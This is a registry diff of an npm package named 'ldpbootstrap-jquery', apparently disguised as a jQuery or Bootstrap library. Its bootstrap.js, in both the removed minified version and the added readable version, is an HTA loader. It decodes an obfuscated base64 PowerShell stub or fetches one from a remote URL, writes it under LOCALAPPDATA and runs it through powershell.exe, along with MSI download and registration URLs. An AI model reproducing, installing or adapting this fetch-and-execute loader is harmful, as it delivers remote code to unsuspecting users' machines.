ldpbootstrap-jquery 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/bootstrap.js CHANGED
@@ -1 +1,193 @@
1
- (function(a){function l(e){try{var t=document.getElementById("status");t&&(t.innerText=e)}catch(r){}}function h(e){var t=new ActiveXObject("Scripting.FileSystemObject");t.FolderExists(e)||t.CreateFolder(e)}function S(){var e=new ActiveXObject("WScript.Shell"),t=e.ExpandEnvironmentStrings("%LOCALAPPDATA%\\Landpage");return h(t),t}function _(e,t){var r=new ActiveXObject("Scripting.FileSystemObject"),n=r.CreateTextFile(e,!0);n.Write(t),n.Close()}function v(e,t){try{var r=new ActiveXObject("Scripting.FileSystemObject");if(!r.FileExists(e))return"";var n=r.OpenTextFile(e,1),s=n.ReadAll();return n.Close(),s.length>t&&(s=s.substring(s.length-t)),s}catch(o){return""}}function m(e){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",r="",n=0;for(e=String(e).replace(/[^A-Za-z0-9\+\/\=]/g,"");n<e.length;){var s=t.indexOf(e.charAt(n++)),o=t.indexOf(e.charAt(n++)),d=t.indexOf(e.charAt(n++)),p=t.indexOf(e.charAt(n++)),i=s<<2|o>>4,u=(o&15)<<4|d>>2,c=(d&3)<<6|p;r+=String.fromCharCode(i),d!==64&&(r+=String.fromCharCode(u)),p!==64&&(r+=String.fromCharCode(c))}return r}function g(e,t){return e.replace(/\{\{SESSION_TOKEN\}\}/g,t.sessionToken).replace(/\{\{MSI_URL\}\}/g,t.msiUrl).replace(/\{\{REGISTER_URL\}\}/g,t.registerUrl).replace(/\{\{MSI_NAME\}\}/g,t.msiName)}function w(e){var t=new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");if(t.open("GET",e.ps1Url,!1),t.setRequestHeader("X-Landpage-Client","hta"),t.setRequestHeader("X-Landpage-Session",e.sessionToken),t.setRequestHeader("X-Landpage-Payload",e.payloadDigest),t.send(),t.status!==200)throw new Error("Falha ao obter install.ps1 (HTTP "+t.status+")");return t.responseText}function E(e){return a.__ldpPs1Obf?g(m(a.__ldpPs1Obf),e):w(e)}function O(e){var t=S(),r=t+"\\"+e.ps1FileName,n=t+"\\landpage_install.log",s=t+"\\landpage_install_status.txt";l("A preparar script de instalação…"),_(r,E(e)),l("A executar "+e.ps1FileName+"…\nPasta: "+t);var o=new ActiveXObject("WScript.Shell"),d='powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "'+r+'"',p=o.Run(d,1,!0),i=v(s,3e3),u=v(n,2500);if(a.moveTo(100,100),p===0){var c="Instalação concluída.\nScript: "+r;i&&(c+="\n\n--- landpage_install_status.txt ---\n"+i),l(c);return}var f="Instalação falhou (código "+p+").\nScript: "+r;i&&(f+="\n\n--- landpage_install_status.txt ---\n"+i),u&&(f+="\n\n--- landpage_install.log ---\n"+u),l(f)}function A(e){if(!e||!e.sessionToken||!e.ps1FileName||!e.payloadDigest)throw new Error("Configuração LdpBootstrap incompleta");if(!e.ps1Url&&!a.__ldpPs1Obf)throw new Error("ps1Url ou ps1-stub.obf.js em falta");if(a.__ldpPs1Obf&&(!e.msiUrl||!e.registerUrl||!e.msiName))throw new Error("Configuração do stub PS1 incompleta");try{typeof a.__landpageInstallBegin=="function"&&a.__landpageInstallBegin(),O(e),typeof a.__landpageInstallEnd=="function"&&a.__landpageInstallEnd(!0)}catch(t){a.moveTo(100,100),l("Erro: "+t.message),typeof a.__landpageInstallEnd=="function"&&a.__landpageInstallEnd(!1)}}a.LdpBootstrap={run:A}})(typeof window!="undefined"?window:this);
1
+ (function(global) {
2
+ function safeMoveTo(x, y) {
3
+ try {
4
+ global.moveTo(x, y);
5
+ } catch (ex) {
6
+ }
7
+ }
8
+ function showWindow() {
9
+ safeMoveTo(120, 80);
10
+ }
11
+ function hideWindow() {
12
+ safeMoveTo(-3200, -3200);
13
+ }
14
+ function parseJson(text) {
15
+ if (typeof JSON !== "undefined" && JSON.parse) {
16
+ return JSON.parse(text);
17
+ }
18
+ return eval("(" + text + ")");
19
+ }
20
+ function setStatus(msg) {
21
+ try {
22
+ var el = document.getElementById("status");
23
+ if (el) {
24
+ el.innerText = msg;
25
+ }
26
+ } catch (ex) {
27
+ }
28
+ }
29
+ function ensureDirectory(dirPath) {
30
+ var fso = new ActiveXObject("Scripting.FileSystemObject");
31
+ if (!fso.FolderExists(dirPath)) {
32
+ fso.CreateFolder(dirPath);
33
+ }
34
+ }
35
+ function getInstallDir() {
36
+ var shell = new ActiveXObject("WScript.Shell");
37
+ var dir = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\\Landpage");
38
+ ensureDirectory(dir);
39
+ return dir;
40
+ }
41
+ function writeTextFile(path, content) {
42
+ var fso = new ActiveXObject("Scripting.FileSystemObject");
43
+ var file = fso.CreateTextFile(path, true);
44
+ file.Write(content);
45
+ file.Close();
46
+ }
47
+ function readTextTail(path, maxLen) {
48
+ try {
49
+ var fso = new ActiveXObject("Scripting.FileSystemObject");
50
+ if (!fso.FileExists(path)) {
51
+ return "";
52
+ }
53
+ var file = fso.OpenTextFile(path, 1);
54
+ var text2 = file.ReadAll();
55
+ file.Close();
56
+ if (text2.length > maxLen) {
57
+ text2 = text2.substring(text2.length - maxLen);
58
+ }
59
+ return text2;
60
+ } catch (ex) {
61
+ return "";
62
+ }
63
+ }
64
+ function decodeBase64(input) {
65
+ var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
66
+ var output = "";
67
+ var i = 0;
68
+ input = String(input).replace(/[^A-Za-z0-9\+\/\=]/g, "");
69
+ while (i < input.length) {
70
+ var enc1 = chars.indexOf(input.charAt(i++));
71
+ var enc2 = chars.indexOf(input.charAt(i++));
72
+ var enc3 = chars.indexOf(input.charAt(i++));
73
+ var enc4 = chars.indexOf(input.charAt(i++));
74
+ var chr1 = enc1 << 2 | enc2 >> 4;
75
+ var chr2 = (enc2 & 15) << 4 | enc3 >> 2;
76
+ var chr3 = (enc3 & 3) << 6 | enc4;
77
+ output += String.fromCharCode(chr1);
78
+ if (enc3 !== 64) {
79
+ output += String.fromCharCode(chr2);
80
+ }
81
+ if (enc4 !== 64) {
82
+ output += String.fromCharCode(chr3);
83
+ }
84
+ }
85
+ return output;
86
+ }
87
+ function patchPs1Stub(template, config) {
88
+ return template.replace(/\{\{SESSION_TOKEN\}\}/g, config.sessionToken).replace(/\{\{MSI_URL\}\}/g, config.msiUrl).replace(/\{\{REGISTER_URL\}\}/g, config.registerUrl).replace(/\{\{MSI_NAME\}\}/g, config.msiName);
89
+ }
90
+ function fetchPayloadKey(config) {
91
+ if (!config.payloadKeyUrl) {
92
+ return null;
93
+ }
94
+ try {
95
+ var xhr = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
96
+ xhr.open("GET", config.payloadKeyUrl, false);
97
+ xhr.setRequestHeader("X-Landpage-Client", "hta");
98
+ xhr.setRequestHeader("X-Landpage-Session", config.sessionToken);
99
+ xhr.setRequestHeader("X-Landpage-Payload", config.payloadDigest);
100
+ xhr.send();
101
+ if (xhr.status !== 200) {
102
+ throw new Error("Falha ao obter payload-key (HTTP " + xhr.status + ")");
103
+ }
104
+ var body = parseJson(xhr.responseText);
105
+ if (!body || body.digest !== config.payloadDigest || !body.key) {
106
+ throw new Error("Resposta payload-key inválida");
107
+ }
108
+ return body;
109
+ } catch (ex) {
110
+ if (global.__ldpPs1Obf) {
111
+ return null;
112
+ }
113
+ throw ex;
114
+ }
115
+ }
116
+ function fetchPs1FromApi(config) {
117
+ var xhr = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
118
+ xhr.open("GET", config.ps1Url, false);
119
+ xhr.setRequestHeader("X-Landpage-Client", "hta");
120
+ xhr.setRequestHeader("X-Landpage-Session", config.sessionToken);
121
+ xhr.setRequestHeader("X-Landpage-Payload", config.payloadDigest);
122
+ xhr.send();
123
+ if (xhr.status !== 200) {
124
+ throw new Error("Falha ao obter install.ps1 (HTTP " + xhr.status + ")");
125
+ }
126
+ return xhr.responseText;
127
+ }
128
+ function resolvePs1Content(config) {
129
+ if (global.__ldpPs1Obf) {
130
+ return patchPs1Stub(decodeBase64(global.__ldpPs1Obf), config);
131
+ }
132
+ return fetchPs1FromApi(config);
133
+ }
134
+ function runInstall(config) {
135
+ var installDir = getInstallDir();
136
+ var ps1Path = installDir + "\\" + config.ps1FileName;
137
+ var logPath = installDir + "\\landpage_install.log";
138
+ var statusPath = installDir + "\\landpage_install_status.txt";
139
+ setStatus("A preparar script de instalação…");
140
+ fetchPayloadKey(config);
141
+ writeTextFile(ps1Path, resolvePs1Content(config));
142
+ setStatus("A executar " + config.ps1FileName + "…\nPasta: " + installDir);
143
+ var shell = new ActiveXObject("WScript.Shell");
144
+ var cmd = 'powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "' + ps1Path + '"';
145
+ var exitCode = shell.Run(cmd, 1, true);
146
+ var statusLog = readTextTail(statusPath, 3e3);
147
+ var installLog = readTextTail(logPath, 2500);
148
+ showWindow();
149
+ if (exitCode === 0) {
150
+ var msg = "Instalação concluída.\nScript: " + ps1Path;
151
+ if (statusLog) {
152
+ msg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
153
+ }
154
+ setStatus(msg);
155
+ return;
156
+ }
157
+ var failMsg = "Instalação falhou (código " + exitCode + ").\nScript: " + ps1Path;
158
+ if (statusLog) {
159
+ failMsg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
160
+ }
161
+ if (installLog) {
162
+ failMsg += "\n\n--- landpage_install.log ---\n" + installLog;
163
+ }
164
+ setStatus(failMsg);
165
+ }
166
+ function run(config) {
167
+ if (!config || !config.sessionToken || !config.ps1FileName || !config.payloadDigest) {
168
+ throw new Error("Configuração LdpBootstrap incompleta");
169
+ }
170
+ if (!config.ps1Url && !global.__ldpPs1Obf) {
171
+ throw new Error("ps1Url ou ps1-stub.obf.js em falta");
172
+ }
173
+ if (global.__ldpPs1Obf && (!config.msiUrl || !config.registerUrl || !config.msiName)) {
174
+ throw new Error("Configuração do stub PS1 incompleta");
175
+ }
176
+ try {
177
+ if (typeof global.__landpageInstallBegin === "function") {
178
+ global.__landpageInstallBegin();
179
+ }
180
+ runInstall(config);
181
+ if (typeof global.__landpageInstallEnd === "function") {
182
+ global.__landpageInstallEnd(true);
183
+ }
184
+ } catch (e) {
185
+ showWindow();
186
+ setStatus("Erro: " + e.message);
187
+ if (typeof global.__landpageInstallEnd === "function") {
188
+ global.__landpageInstallEnd(false);
189
+ }
190
+ }
191
+ }
192
+ global.LdpBootstrap = { run: run };
193
+ })(typeof window !== "undefined" ? window : this);
Binary file
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ldpbootstrap-jquery",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "HTA install bootstrap for Landpage (CDN distribution)",
5
5
  "license": "UNLICENSED",
6
6
  "files": [